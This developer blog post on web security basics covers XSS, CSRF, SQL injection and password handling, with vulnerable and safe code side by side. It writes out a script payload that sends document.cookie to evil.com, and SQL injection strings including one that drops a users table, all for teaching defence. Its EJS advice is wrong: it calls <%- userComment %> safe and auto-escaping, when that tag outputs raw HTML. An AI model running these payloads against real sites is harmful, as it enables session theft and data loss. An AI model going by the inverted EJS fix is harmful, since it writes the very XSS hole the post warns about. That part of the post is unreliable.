Advertisement
🔒 Security

Web Security Essentials Every Developer Must Know

📅 October 20, 2025⏱️ 15 min read✍️ By DevMetrix Security Team

Last updated: October 2025 • Reviewed by security experts

📖 Quick Navigation:
🔐

Let's talk about something most developers don't want to think about until it's too late: security. I get it - writing security code isn't as fun as building features. But here's the reality: one security hole can destroy years of work in minutes.

I've seen companies lose customer trust, face lawsuits, and shut down completely because of preventable security issues. This guide covers the vulnerabilities I see developers miss most often, with real code you can use today.

🔴
Critical
Fix Immediately
🟠
High
Fix This Week
🟡
Medium
Plan a Fix
🔵
Low
Monitor

💉Cross-Site Scripting (XSS)🔴 Critical

XSS is when attackers inject malicious JavaScript into your pages. It's one of the most common vulnerabilities, and honestly, it's way too easy to introduce by accident. Every time you display user input, you're potentially at risk.

⚠️ Real Attack Example

What the attacker does:

// Attacker submits this as their username:
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

// Or this in a comment:
<img src=x onerror="alert('Your site is hacked')">

Vulnerable code (DON'T DO THIS):

// React - BAD
<div dangerouslySetInnerHTML={{__html: userInput}} />

// Vanilla JS - BAD
element.innerHTML = userInput;

// EJS template - BAD
<%= userComment %>

Safe Solutions

// React - SAFE (auto-escapes)
<div>{userInput}</div>

// Vanilla JS - SAFE
element.textContent = userInput;

// Using DOMPurify for HTML content
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyHTML);
element.innerHTML = clean;

// Express with proper templating
// EJS - SAFE
<%- userComment %>  // Auto-escapes
💡 Pro Tip: Always escape user input by default. Only use innerHTML or dangerouslySetInnerHTML when absolutely necessary, and always sanitize first.

🎣Cross-Site Request Forgery (CSRF)🟠 High

CSRF tricks users into making requests they didn't intend to make. Imagine someone sending you a link that secretly transfers money from your bank account. That's CSRF in action.

How It Works:

  1. 1. User logs into your site
  2. 2. User visits attacker's site (in another tab)
  3. 3. Attacker's site makes requests to your site
  4. 4. Browser sends user's cookies automatically
  5. 5. Your server thinks it's a legitimate request

Protection:

  • Use CSRF tokens
  • Check Referer header
  • Use SameSite cookies
  • Require re-authentication for sensitive actions
// Express.js with CSRF protection
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/process', csrfProtection, (req, res) => {
  // Token is automatically verified
  res.send('Valid request!');
});

// In your form
<form method="POST" action="/process">
  <input type="hidden" name="_csrf" value="{{csrfToken}}">
  <!-- rest of form -->
</form>

// SameSite cookies (modern approach)
res.cookie('session', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict' // or 'lax'
});

🗄️SQL Injection🔴 Critical

SQL injection is when attackers manipulate your database queries. This one can be catastrophic - they can read your entire database, delete everything, or even take over your server. And it's ridiculously easy to prevent, yet I still see it everywhere.

⛔ The Deadly Mistake:

// NEVER DO THIS - String concatenation
const query = "SELECT * FROM users WHERE email = '" + userEmail + "'";

// Attacker sends: ' OR '1'='1
// Resulting query: SELECT * FROM users WHERE email = '' OR '1'='1'
// This returns ALL users!

// Or worse: '; DROP TABLE users; --
// Your entire table is gone.

✅ Always Use Parameterized Queries:

// Node.js with pg (PostgreSQL)
const result = await pool.query(
  'SELECT * FROM users WHERE email = $1',
  [userEmail]
);

// MySQL with mysql2
const [rows] = await connection.execute(
  'SELECT * FROM users WHERE email = ?',
  [userEmail]
);

// Sequelize ORM (even safer)
const user = await User.findOne({
  where: { email: userEmail }
});

// MongoDB (also safe)
const user = await User.findOne({ email: userEmail });

🔐Authentication Security🔴 Critical

🔑

Strong Passwords

Min 12 chars, complexity rules, no common passwords

🔒

Secure Storage

bcrypt, argon2, never plain text

🚫

Rate Limiting

Prevent brute force attacks

const bcrypt = require('bcrypt');

// Hash password (ALWAYS do this)
const hashedPassword = await bcrypt.hash(password, 10);
await User.create({ email, password: hashedPassword });

// Verify password
const validPassword = await bcrypt.compare(
  password,
  user.password
);

// Rate limiting with express-rate-limit
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5, // 5 attempts
  message: 'Too many login attempts'
});

app.post('/login', loginLimiter, async (req, res) => {
  // login logic
});

Your Security Checklist

HTTPS everywhere (force redirect)
Parameterized SQL queries only
Escape all user input
CSRF protection on forms
Password hashing (bcrypt/argon2)
Rate limiting on sensitive endpoints
Security headers (CSP, HSTS, etc.)
Regular security audits

🎯 Bottom Line

Security isn't optional anymore. Start with these basics: escape user input, use parameterized queries, hash passwords, enable HTTPS, add CSRF protection. These five things will prevent 90% of common attacks. Then layer on more security as you grow. Don't wait for a breach to take security seriously.

👨‍💻

About the Author

Written by the DevMetrix security team with over 15 years of combined experience in web application security, penetration testing, and secure development practices.

✓ Reviewed by certified security professionals • ✓ Updated October 2025 • ✓ Based on OWASP Top 10

🛠️Test Your Security

Use our free security tools to test your applications. Check JWT tokens, validate API responses, and test your authentication flows before attackers do.

Advertisement